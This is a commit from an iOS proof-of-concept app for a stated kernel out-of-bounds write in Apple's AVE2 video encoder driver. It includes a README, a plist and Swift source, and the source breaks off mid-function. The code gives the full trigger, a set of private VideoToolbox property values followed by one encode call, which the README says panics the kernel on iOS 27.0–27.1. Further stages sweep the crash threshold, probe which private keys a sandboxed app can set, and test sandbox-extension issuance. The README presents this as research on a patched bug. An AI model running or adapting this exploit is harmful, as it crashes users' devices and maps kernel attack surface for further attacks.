AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write)
- All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima): stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept - New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix, stage15 private-key entitlement audit (23 keys) - Panic journal: kern.boottime-based in-app panic evidence after reboot - Interactive SwiftUI console + NTL field + report share; header shows PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+ - App icon: temporal-layer stack, top layer displaced past the stack edge - scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+)
This commit is contained in:
commit
bc019e2b6c
11 files changed
+1829
No files matched your search
@@ -0,0 +1,4 @@
|
|||||||
|
build/
|
||||||
|
dist/
|
||||||
|
*.ipa
|
||||||
|
.DS_Store
|
||||||
+66
@@ -0,0 +1,66 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>CFBundleDevelopmentRegion</key>
|
||||||
|
<string>en</string>
|
||||||
|
<key>CFBundleDisplayName</key>
|
||||||
|
<string>AVE27</string>
|
||||||
|
<key>CFBundleExecutable</key>
|
||||||
|
<string>AVE27</string>
|
||||||
|
<key>CFBundleIdentifier</key>
|
||||||
|
<string>com.jbjf.ave27</string>
|
||||||
|
<key>CFBundleInfoDictionaryVersion</key>
|
||||||
|
<string>6.0</string>
|
||||||
|
<key>CFBundleName</key>
|
||||||
|
<string>AVE27</string>
|
||||||
|
<key>CFBundlePackageType</key>
|
||||||
|
<string>APPL</string>
|
||||||
|
<key>CFBundleShortVersionString</key>
|
||||||
|
<string>1.0</string>
|
||||||
|
<key>CFBundleSupportedPlatforms</key>
|
||||||
|
<array>
|
||||||
|
<string>iPhoneOS</string>
|
||||||
|
</array>
|
||||||
|
<key>CFBundleVersion</key>
|
||||||
|
<string>1</string>
|
||||||
|
<key>DTPlatformName</key>
|
||||||
|
<string>iphoneos</string>
|
||||||
|
<key>DTPlatformVersion</key>
|
||||||
|
<string>27.0</string>
|
||||||
|
<key>DTSDKName</key>
|
||||||
|
<string>iphoneos27.0</string>
|
||||||
|
<key>ITSAppUsesNonExemptEncryption</key>
|
||||||
|
<false/>
|
||||||
|
<key>LSRequiresIPhoneOS</key>
|
||||||
|
<true/>
|
||||||
|
<key>MinimumOSVersion</key>
|
||||||
|
<string>17.0</string>
|
||||||
|
<key>UIApplicationSceneManifest</key>
|
||||||
|
<dict>
|
||||||
|
<key>UIApplicationSupportsMultipleScenes</key>
|
||||||
|
<false/>
|
||||||
|
</dict>
|
||||||
|
<key>UIFileSharingEnabled</key>
|
||||||
|
<true/>
|
||||||
|
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||||
|
<true/>
|
||||||
|
<key>UILaunchScreen</key>
|
||||||
|
<dict/>
|
||||||
|
<key>UIRequiredDeviceCapabilities</key>
|
||||||
|
<array>
|
||||||
|
<string>arm64</string>
|
||||||
|
</array>
|
||||||
|
<key>UISupportedInterfaceOrientations</key>
|
||||||
|
<array>
|
||||||
|
<string>UIInterfaceOrientationPortrait</string>
|
||||||
|
</array>
|
||||||
|
<key>UISupportedInterfaceOrientations~ipad</key>
|
||||||
|
<array>
|
||||||
|
<string>UIInterfaceOrientationPortrait</string>
|
||||||
|
<string>UIInterfaceOrientationPortraitUpsideDown</string>
|
||||||
|
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||||
|
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
# AVE27 — standalone POC app for CVE-2026-112705
|
||||||
|
|
||||||
|
Standalone iOS app for **CVE-2026-112705** — AppleAVE2 kernel out-of-bounds write
|
||||||
|
via `NumberOfTemporalLayers` (VideoToolbox). Original discovery: Calif / Chollima
|
||||||
|
team; this app ports the reproduction from
|
||||||
|
[MchinaMd57764/AVETemporalPoC-CVE-2026-112705](https://github.com/MchinaMd57764/AVETemporalPoC-CVE-2026-112705)
|
||||||
|
into a self-contained, interactive harness and extends it with exploration stages.
|
||||||
|
|
||||||
|
- Component: `com.apple.driver.AppleAVE2` (kernel)
|
||||||
|
- Type: kernel OOB write, fixed-offset constant fill — panic/DoS, **no** read/write primitive
|
||||||
|
- Affected: iOS 27.0 – 27.1 (24A446 line)
|
||||||
|
- Fixed: iOS 27.2 — `NTL` returns `-12900` at SetProperty, no panic
|
||||||
|
- Highest supported target: **iOS 27.1**
|
||||||
|
|
||||||
|
## What the app does
|
||||||
|
|
||||||
|
All nine original stages ported verbatim (props readback, encode trigger, property
|
||||||
|
fuzz, multi-PPS, layer-ID probe, bitstream dump, NTL ladder, per-rung parameter-set
|
||||||
|
capture, DPB-array overflow, UserDPB IOSurface table, H.264 slice-count decode,
|
||||||
|
MVHEVC ID validation, sandbox-extension probe), plus three new exploration stages:
|
||||||
|
|
||||||
|
| Stage | What it maps |
|
||||||
|
|---|---|
|
||||||
|
| **stage9** | the panic trigger: `EncoderUsage=1` + `RCMode=20` + `NTL=16463` → first encode panics AppleAVE2 (kernel data abort, `far=0x59 x19=0x1`); 16462 survives |
|
||||||
|
| **stage13** | NTL threshold sweep, bottom-up, one session per rung — finds the exact landing rung; panic journal arms per rung |
|
||||||
|
| **stage14** | `EncoderUsage` × `RCMode` acceptance matrix at a safe layer count — which private mode selectors the driver honours from a stock app |
|
||||||
|
| **stage15** | private-key audit: 23 non-public VideoToolbox keys set from an unentitled sandboxed app; the accepted set is the privilege surface reaching AppleAVE2 |
|
||||||
|
| **SBE** | sandbox-extension issuance probe — can a third-party app issue read/write extensions for paths outside its container |
|
||||||
|
| panic journal | armed before every panic-capable encode; on next launch, an unfinished journal + changed `kern.boottime` = that run ended in a kernel panic, in-app, no console needed |
|
||||||
|
|
||||||
|
Interactive UI: stage buttons, NTL field, live monospaced console, report share
|
||||||
|
sheet. Launch-argument mode keeps full parity with the original repo
|
||||||
|
(`--stage9 16463`, `--stage13`, `--fuzz`, `--sbext`, …). Report lands in
|
||||||
|
`Documents/ave_report.txt`, live oracle in `Documents/live.txt` — the last line
|
||||||
|
before a panic is `stage9(...) encode[0]`.
|
||||||
|
|
||||||
|
## Building
|
||||||
|
|
||||||
|
```bash
|
||||||
|
bash scripts/build-device.sh # → dist/AVE27-unsigned.ipa (arm64, iOS 17.0+, unsigned)
|
||||||
|
python3 scripts/gen_icon.py # regenerates the app icon (no image library needed)
|
||||||
|
```
|
||||||
|
|
||||||
|
Unsigned IPA — sign with your own certificate + provisioning profile, then
|
||||||
|
sideload. The simulator has no hardware encode path; panic stages need a real
|
||||||
|
device on 27.0/27.1.
|
||||||
|
|
||||||
|
## Panic evidence workflow
|
||||||
|
|
||||||
|
1. Launch → tap **stage9 panic** (or `--stage9 16463`). Device reboots.
|
||||||
|
2. Relaunch. The header still says PANIC-CAPABLE; the console opens with the
|
||||||
|
journal verdict: which stage, which rung, which boot — and points at
|
||||||
|
Settings → Privacy → Analytics for the matching `.ips`.
|
||||||
|
3. Export `ave_report.txt` / `live.txt` from Files → AVE27.
|
||||||
|
|
||||||
|
## Credits & scope
|
||||||
|
|
||||||
|
Original discovery and panic evidence: **Calif / Chollima team**, independent
|
||||||
|
reproduction by MchinaMd57764. This app reproduces a public, already-patched CVE
|
||||||
|
for verification and research on devices you own. It contains no exploitation
|
||||||
|
code — the defect is a fixed-offset constant fill with no read/write capability.
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 66 KiB |
@@ -0,0 +1,14 @@
|
|||||||
|
{
|
||||||
|
"images" : [
|
||||||
|
{
|
||||||
|
"filename" : "AppIcon-1024.png",
|
||||||
|
"idiom" : "universal",
|
||||||
|
"platform" : "ios",
|
||||||
|
"size" : "1024x1024"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"info" : {
|
||||||
|
"author" : "xcode",
|
||||||
|
"version" : 1
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
{
|
||||||
|
"info" : {
|
||||||
|
"author" : "xcode",
|
||||||
|
"version" : 1
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,254 @@
|
|||||||
|
// AVE27 · app entry + stage console UI
|
||||||
|
// Two drive modes:
|
||||||
|
// 1. launch arguments (parity with the original repo): --stage9 16463, --stage13,
|
||||||
|
// --fuzz, --sbext, ... same dispatch table as AVETemporalPoC
|
||||||
|
// 2. interactive: pick a stage, set the layer count, run, watch the live console
|
||||||
|
// Every launch checks the panic journal first — an unfinished armed run plus a
|
||||||
|
// changed kernel boot time is reported as the panic that ended it.
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
import UIKit
|
||||||
|
|
||||||
|
@main
|
||||||
|
struct AVE27App: App {
|
||||||
|
var body: some Scene {
|
||||||
|
WindowGroup { RootView() }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Bridges the Probe singleton's append-only log to SwiftUI.
|
||||||
|
final class LogStore: ObservableObject {
|
||||||
|
@Published var text: String = ""
|
||||||
|
init() {
|
||||||
|
Probe.shared.onUpdate = { [weak self] in
|
||||||
|
let snapshot = Probe.shared.log
|
||||||
|
DispatchQueue.main.async { self?.text = snapshot }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct RootView: View {
|
||||||
|
@StateObject private var store = LogStore()
|
||||||
|
@State private var ntlText = "16463"
|
||||||
|
@State private var keyText = "NumberOfTemporalLayers"
|
||||||
|
@State private var fileText = "avc_900_slices.h264"
|
||||||
|
@State private var running = false
|
||||||
|
|
||||||
|
private var ntl: Int { Int(ntlText) ?? 16463 }
|
||||||
|
|
||||||
|
var body: some View {
|
||||||
|
VStack(spacing: 0) {
|
||||||
|
header
|
||||||
|
stageMenu
|
||||||
|
console
|
||||||
|
}
|
||||||
|
.background(Color.black.ignoresSafeArea())
|
||||||
|
.onAppear(perform: launch)
|
||||||
|
.toolbar { ToolbarItem(placement: .navigationBarTrailing) { shareButton } }
|
||||||
|
.preferredColorScheme(.dark)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── header ────────────────────────────────────────────────────────────
|
||||||
|
private var header: some View {
|
||||||
|
HStack(alignment: .firstTextBaseline) {
|
||||||
|
VStack(alignment: .leading, spacing: 2) {
|
||||||
|
Text("AVE27")
|
||||||
|
.font(.system(.headline, design: .monospaced))
|
||||||
|
Text("CVE-2026-112705 · AppleAVE2 · " + deviceLine)
|
||||||
|
.font(.system(.caption2, design: .monospaced))
|
||||||
|
.foregroundStyle(.secondary)
|
||||||
|
}
|
||||||
|
Spacer()
|
||||||
|
Text(panicCapable ? "PANIC-CAPABLE" : "FIXED BUILD")
|
||||||
|
.font(.system(.caption2, design: .monospaced, weight: .bold))
|
||||||
|
.foregroundStyle(panicCapable ? Color(red: 1, green: 0.55, blue: 0.2) : .green)
|
||||||
|
}
|
||||||
|
.padding(.horizontal).padding(.vertical, 8)
|
||||||
|
}
|
||||||
|
|
||||||
|
private var deviceLine: String {
|
||||||
|
let os = ProcessInfo.processInfo.operatingSystemVersion
|
||||||
|
let ver = "\(os.majorVersion).\(os.minorVersion)"
|
||||||
|
var size = 0
|
||||||
|
sysctlbyname("hw.machine", nil, &size, nil, 0)
|
||||||
|
var machine = [CChar](repeating: 0, count: size)
|
||||||
|
sysctlbyname("hw.machine", &machine, &size, nil, 0)
|
||||||
|
let model = String(cString: machine)
|
||||||
|
return "iOS \(ver) · \(model)"
|
||||||
|
}
|
||||||
|
|
||||||
|
/// iOS 27.0 – 27.1 carries the unfixed AppleAVE2; 27.2+ refuses NTL at -12900.
|
||||||
|
private var panicCapable: Bool {
|
||||||
|
let os = ProcessInfo.processInfo.operatingSystemVersion
|
||||||
|
return (os.majorVersion == 27 && os.minorVersion <= 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── stage menu ────────────────────────────────────────────────────────
|
||||||
|
private var stageMenu: some View {
|
||||||
|
ScrollView(.horizontal, showsIndicators: false) {
|
||||||
|
HStack(spacing: 8) {
|
||||||
|
stageButton("stage9 panic") { Probe.shared.stage9(n: ntl) }
|
||||||
|
stageButton("stage13 sweep") { Probe.shared.stage13() }
|
||||||
|
stageButton("stage14 matrix") { Probe.shared.stage14() }
|
||||||
|
stageButton("stage15 audit") { Probe.shared.stage15() }
|
||||||
|
stageButton("SBE") { Probe.shared.stageSandboxExtensions() }
|
||||||
|
Divider().frame(height: 24)
|
||||||
|
stageButton("stage1 props") { Probe.shared.stage1() }
|
||||||
|
stageButton("stage7 dump") { Probe.shared.stage7() }
|
||||||
|
stageButton("fuzz") { Probe.shared.fuzz() }
|
||||||
|
stageButton("stage5 layer") { Probe.shared.stage5() }
|
||||||
|
stageButton("stage21 ids") { Probe.shared.stage21() }
|
||||||
|
Divider().frame(height: 24)
|
||||||
|
stageButton("stage2 encode") { Probe.shared.stage2(value: ntl) }
|
||||||
|
stageButton("stage6 dump") { Probe.shared.stage6(num: 4) }
|
||||||
|
stageButton("stage10 ps") { Probe.shared.stage10(n: 8) }
|
||||||
|
stageButton("stage11 dpb") { Probe.shared.stage11(n: 24) }
|
||||||
|
stageButton("stage12 userdpb") { Probe.shared.stage12(n: 24, shape: 1) }
|
||||||
|
stageButton("stage20 decode") { Probe.shared.stage20(file: fileText) }
|
||||||
|
stageButton("stage8 key") { Probe.shared.stage8(key: keyText, values: [1, 4, 8, 16, 64]) }
|
||||||
|
stageButton("stage4 pps") { Probe.shared.stage4(count: 16) }
|
||||||
|
}
|
||||||
|
.padding(.horizontal).padding(.bottom, 6)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private func stageButton(_ label: String, _ action: @escaping () -> Void) -> some View {
|
||||||
|
Button {
|
||||||
|
runStage(action)
|
||||||
|
} label: {
|
||||||
|
Text(label)
|
||||||
|
.font(.system(.caption, design: .monospaced))
|
||||||
|
.padding(.horizontal, 10).padding(.vertical, 6)
|
||||||
|
.background(RoundedRectangle(cornerRadius: 6).fill(Color(white: 0.14)))
|
||||||
|
.overlay(RoundedRectangle(cornerRadius: 6).strokeBorder(Color(white: 0.28)))
|
||||||
|
}
|
||||||
|
.buttonStyle(.plain)
|
||||||
|
.disabled(running)
|
||||||
|
.opacity(running ? 0.4 : 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
private func runStage(_ action: @escaping () -> Void) {
|
||||||
|
running = true
|
||||||
|
DispatchQueue.global(qos: .userInitiated).async {
|
||||||
|
action()
|
||||||
|
Probe.shared.writeReport()
|
||||||
|
DispatchQueue.main.async { running = false }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── console ───────────────────────────────────────────────────────────
|
||||||
|
private var console: some View {
|
||||||
|
ScrollView {
|
||||||
|
ScrollViewReader { proxy in
|
||||||
|
Text(store.text.isEmpty ? "console — pick a stage\nargs mode: --stage9 16463" : store.text)
|
||||||
|
.font(.system(size: 10.5, design: .monospaced))
|
||||||
|
.frame(maxWidth: .infinity, alignment: .leading)
|
||||||
|
.padding(8)
|
||||||
|
.id("tail")
|
||||||
|
.onChange(of: store.text) { _, _ in
|
||||||
|
proxy.scrollTo("tail", anchor: .bottom)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.background(Color(white: 0.06))
|
||||||
|
.overlay(alignment: .top) { paramRow }
|
||||||
|
}
|
||||||
|
|
||||||
|
private var paramRow: some View {
|
||||||
|
HStack(spacing: 12) {
|
||||||
|
VStack(alignment: .leading, spacing: 1) {
|
||||||
|
Text("NTL").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
|
||||||
|
TextField("16463", text: $ntlText)
|
||||||
|
.keyboardType(.numberPad)
|
||||||
|
.font(.system(.caption, design: .monospaced))
|
||||||
|
.frame(width: 84)
|
||||||
|
.textFieldStyle(.roundedBorder)
|
||||||
|
}
|
||||||
|
VStack(alignment: .leading, spacing: 1) {
|
||||||
|
Text("key / file").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
|
||||||
|
TextField("file", text: $fileText)
|
||||||
|
.font(.system(.caption, design: .monospaced))
|
||||||
|
.textFieldStyle(.roundedBorder)
|
||||||
|
}
|
||||||
|
Spacer()
|
||||||
|
}
|
||||||
|
.padding(.horizontal).padding(.vertical, 6)
|
||||||
|
.background(.thinMaterial)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── share ─────────────────────────────────────────────────────────────
|
||||||
|
private var shareButton: some View {
|
||||||
|
Button {
|
||||||
|
let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
|
||||||
|
let url = docs.appendingPathComponent("ave_report.txt")
|
||||||
|
try? Probe.shared.log.write(to: url, atomically: true, encoding: .utf8)
|
||||||
|
let av = UIActivityViewController(activityItems: [Probe.shared.log as NSString, url],
|
||||||
|
applicationActivities: nil)
|
||||||
|
UIApplication.shared.connectedScenes
|
||||||
|
.compactMap { ($0 as? UIWindowScene)?.keyWindow?.rootViewController }
|
||||||
|
.first?.present(av, animated: true)
|
||||||
|
} label: {
|
||||||
|
Image(systemName: "square.and.arrow.up")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── launch: panic evidence first, then argument dispatch ─────────────
|
||||||
|
private func launch() {
|
||||||
|
running = true
|
||||||
|
DispatchQueue.global(qos: .userInitiated).async {
|
||||||
|
Probe.shared.checkPanicEvidence()
|
||||||
|
runFromArguments()
|
||||||
|
Probe.shared.writeReport()
|
||||||
|
DispatchQueue.main.async { running = false }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Original repo dispatch, verbatim parity — runs when launch arguments are present.
|
||||||
|
private func runFromArguments() {
|
||||||
|
let args = ProcessInfo.processInfo.arguments
|
||||||
|
let p = Probe.shared
|
||||||
|
guard args.contains(where: { $0.hasPrefix("--") }) else { return }
|
||||||
|
if args.contains("--fuzz") { p.fuzz() }
|
||||||
|
else if args.contains("--sbext") { p.stageSandboxExtensions() }
|
||||||
|
else if args.contains("--props") { p.stage1() }
|
||||||
|
else if args.contains("--stage5") { p.stage5() }
|
||||||
|
else if let i = args.firstIndex(of: "--stage20"), i + 1 < args.count {
|
||||||
|
p.stage20(file: args[i + 1])
|
||||||
|
} else if args.contains("--stage21") { p.stage21() }
|
||||||
|
else if let i = args.firstIndex(of: "--stage12"), i + 1 < args.count {
|
||||||
|
let shape = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 1
|
||||||
|
let usage = (i + 3 < args.count ? Int(args[i + 3]) : nil) ?? 0
|
||||||
|
p.stage12(n: Int(args[i + 1]) ?? 3, shape: shape, usage: usage)
|
||||||
|
} else if let i = args.firstIndex(of: "--stage11"), i + 1 < args.count {
|
||||||
|
p.stage11(n: Int(args[i + 1]) ?? 3)
|
||||||
|
} else if let i = args.firstIndex(of: "--stage10"), i + 1 < args.count {
|
||||||
|
let usage = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 0
|
||||||
|
p.stage10(n: Int(args[i + 1]) ?? 8, usage: usage)
|
||||||
|
} else if let i = args.firstIndex(of: "--stage9"), i + 1 < args.count {
|
||||||
|
p.stage9(n: Int(args[i + 1]) ?? 12742)
|
||||||
|
} else if let i = args.firstIndex(of: "--stage13"), i + 1 < args.count {
|
||||||
|
let lo = Int(args[i + 1]) ?? 16450
|
||||||
|
let hi = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 16470
|
||||||
|
p.stage13(lo: min(lo, hi), hi: max(lo, hi))
|
||||||
|
} else if args.contains("--stage14") { p.stage14() }
|
||||||
|
else if args.contains("--stage15") { p.stage15() }
|
||||||
|
else if args.contains("--stage7") { p.stage7() }
|
||||||
|
else if let i = args.firstIndex(of: "--stage8"), i + 2 < args.count {
|
||||||
|
let key = args[i + 1]
|
||||||
|
let vals = args[i + 2].split(separator: ",").compactMap { Int($0) }
|
||||||
|
p.stage8(key: key, values: vals.isEmpty ? [8] : vals)
|
||||||
|
} else if let i = args.firstIndex(of: "--stage6"), i + 1 < args.count {
|
||||||
|
p.stage6(num: Int(args[i + 1]) ?? 1)
|
||||||
|
} else if let i = args.firstIndex(of: "--stage4"), i + 1 < args.count {
|
||||||
|
p.stage4(count: Int(args[i + 1]) ?? 16)
|
||||||
|
} else if let i = args.firstIndex(of: "--encode"), i + 1 < args.count {
|
||||||
|
func intArg(_ name: String, _ def: Int) -> Int {
|
||||||
|
guard let j = args.firstIndex(of: name), j + 1 < args.count else { return def }
|
||||||
|
return Int(args[j + 1]) ?? def
|
||||||
|
}
|
||||||
|
p.stage2(value: Int(args[i + 1]) ?? 8,
|
||||||
|
realtime: !args.contains("--nort"),
|
||||||
|
efr: intArg("--efr", 30), blr: intArg("--blr", 15))
|
||||||
|
} else { p.stage1() }
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,144 @@
|
|||||||
|
// AVE27 · exploration stages — what lies beyond the panic
|
||||||
|
// stage13: NTL threshold sweep — maps the exact landing rung of the OOB write.
|
||||||
|
// stage14: EncoderUsage × RCMode matrix at a safe layer count — which private
|
||||||
|
// parameter combinations the driver accepts from a stock sandboxed app.
|
||||||
|
// stage15: private property key audit — the full acceptance surface of
|
||||||
|
// non-public VideoToolbox keys with no entitlement behind them.
|
||||||
|
// All three share the live.txt oracle; stage13 arms the panic journal per rung.
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import VideoToolbox
|
||||||
|
import CoreMedia
|
||||||
|
import CoreVideo
|
||||||
|
|
||||||
|
extension Probe {
|
||||||
|
|
||||||
|
/// Stage 13: NTL threshold sweep, one session per rung, bottom-up.
|
||||||
|
/// On a vulnerable build the walk panics at the first landing rung — live.txt
|
||||||
|
/// ends on that rung and the panic journal proves it after the reboot.
|
||||||
|
/// On 27.2 the first rung past the cap returns -12900 at SetProperty and the
|
||||||
|
/// sweep stops clean: two disjoint, unambiguous signatures.
|
||||||
|
func stage13(lo: Int = 16450, hi: Int = 16470) {
|
||||||
|
emit("stage13 sweep \(lo)...\(hi) (bottom-up, one session per rung)")
|
||||||
|
for n in lo...hi {
|
||||||
|
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
|
||||||
|
emit("stage13(\(n)): no session"); return
|
||||||
|
}
|
||||||
|
let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1))
|
||||||
|
let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20))
|
||||||
|
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
|
||||||
|
let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString,
|
||||||
|
value: NSNumber(value: n))
|
||||||
|
if st != 0 {
|
||||||
|
emit("stage13 rung \(n): SetProperty refused (\(st)) — fixed-build cap reached")
|
||||||
|
VTCompressionSessionInvalidate(session)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
var attrs: [CFString: Any] = [:]
|
||||||
|
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
|
||||||
|
var pb: CVPixelBuffer?
|
||||||
|
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||||
|
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||||
|
attrs as CFDictionary, &pb)
|
||||||
|
guard let pixel = pb else { emit("stage13(\(n)): no pixel"); return }
|
||||||
|
armJournal("stage13", ntl: n)
|
||||||
|
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
|
||||||
|
let est = VTCompressionSessionEncodeFrame(
|
||||||
|
session, imageBuffer: pixel, presentationTimeStamp: pts,
|
||||||
|
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
|
||||||
|
emit("stage13 rung \(n): usage=\(sUsage) rc=\(sRC) encode=\(est) readback: " +
|
||||||
|
readBack(session, "NumberOfTemporalLayers" as CFString))
|
||||||
|
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
|
||||||
|
VTCompressionSessionInvalidate(session)
|
||||||
|
finishJournal()
|
||||||
|
if est != 0 { emit("stage13 rung \(n): encode refused (\(est)) — stopping sweep"); break }
|
||||||
|
}
|
||||||
|
emit("stage13 complete — device survived every rung")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Stage 14: EncoderUsage × RCMode matrix at a safe layer count (8). The panic
|
||||||
|
/// recipe is one cell of this grid; the rest maps which private mode selectors
|
||||||
|
/// the driver honours from an unentitled third-party process.
|
||||||
|
func stage14() {
|
||||||
|
let usages = [0, 1, 4, 8, 16]
|
||||||
|
let rcmodes = [0, 1, 8, 20, 22, 23]
|
||||||
|
emit("stage14 usage × rc matrix at NTL=8 (\(usages.count)×\(rcmodes.count) cells)")
|
||||||
|
for u in usages {
|
||||||
|
for rc in rcmodes {
|
||||||
|
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
|
||||||
|
emit("stage14 u\(u) r\(rc): no session"); return
|
||||||
|
}
|
||||||
|
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
|
||||||
|
let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: u))
|
||||||
|
let sr = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: rc))
|
||||||
|
let sn = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: 8))
|
||||||
|
|
||||||
|
var attrs: [CFString: Any] = [:]
|
||||||
|
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
|
||||||
|
var pb: CVPixelBuffer?
|
||||||
|
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||||
|
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||||
|
attrs as CFDictionary, &pb)
|
||||||
|
guard let pixel = pb else { emit("stage14: no pixel"); return }
|
||||||
|
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
|
||||||
|
let est = VTCompressionSessionEncodeFrame(
|
||||||
|
session, imageBuffer: pixel, presentationTimeStamp: pts,
|
||||||
|
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
|
||||||
|
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
|
||||||
|
emit("stage14 u=\(u)(\(su)) rc=\(rc)(\(sr)) ntl(\(sn)) encode=\(est)")
|
||||||
|
VTCompressionSessionInvalidate(session)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
emit("stage14 complete — acceptance matrix above")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Stage 15: private property key audit. Which non-public VideoToolbox keys a
|
||||||
|
/// stock, sandboxed, unentitled app can set on an Apple hardware encoder session —
|
||||||
|
/// the privilege surface beyond the crash. Accepted keys reach the kernel driver
|
||||||
|
/// through the same unvalidated property path the CVE lives in.
|
||||||
|
func stage15() {
|
||||||
|
// (key, probe value): numbers probe the scalar path, arrays the table path
|
||||||
|
let probes: [(String, Any)] = [
|
||||||
|
("EncoderUsage", NSNumber(value: 1)),
|
||||||
|
("RCMode", NSNumber(value: 20)),
|
||||||
|
("NumberOfTemporalLayers", NSNumber(value: 4)),
|
||||||
|
("NumOfTemporalLayer", NSNumber(value: 4)),
|
||||||
|
("NumOfGOPLayer", NSNumber(value: 2)),
|
||||||
|
("BaseLayerFrameRate", NSNumber(value: 15)),
|
||||||
|
("MCTFStrengthLevel", NSNumber(value: 3)),
|
||||||
|
("MCTFMaxNextRefNum", NSNumber(value: 2)),
|
||||||
|
("ChromaQPIndexOffsetMultiPPS", "0 0 0 0" as NSString),
|
||||||
|
("LRMERSPassNum", NSNumber(value: 1)),
|
||||||
|
("MultiReferencePSpacing", NSNumber(value: 3)),
|
||||||
|
("NumNegativePics", NSNumber(value: 4)),
|
||||||
|
("NumPositivePics", NSNumber(value: 0)),
|
||||||
|
("AbsDeltaRPSMinus1", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
|
||||||
|
("DeltaRPSSign", [NSNumber(value: 0), NSNumber(value: 0)] as CFArray),
|
||||||
|
("RPSData", [NSNumber(value: 1)] as CFArray),
|
||||||
|
("RPSInfo", [NSNumber(value: 1)] as CFArray),
|
||||||
|
("HEVCTemporalLevelInfoCombinations", [NSNumber(value: 1)] as CFArray),
|
||||||
|
("HEVCAuxiliaryLayerIDs", [NSNumber(value: 1), NSNumber(value: 2)] as CFArray),
|
||||||
|
("MVHEVCVideoLayerIDs", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
|
||||||
|
("EnableUserRefForFacetime", kCFBooleanTrue as Any),
|
||||||
|
("DPBRequirements", ["NumberOfFrames" as CFString: NSNumber(value: 2),
|
||||||
|
"AllocateRVRABuffers" as CFString: kCFBooleanFalse as Any] as CFDictionary),
|
||||||
|
("TemporalIDNestingFlag", NSNumber(value: 1)),
|
||||||
|
]
|
||||||
|
emit("stage15 private-key audit (\(probes.count) keys, unentitled sandboxed app)")
|
||||||
|
var accepted: [String] = []
|
||||||
|
for (key, value) in probes {
|
||||||
|
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
|
||||||
|
emit("stage15 \(key): no session"); return
|
||||||
|
}
|
||||||
|
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
|
||||||
|
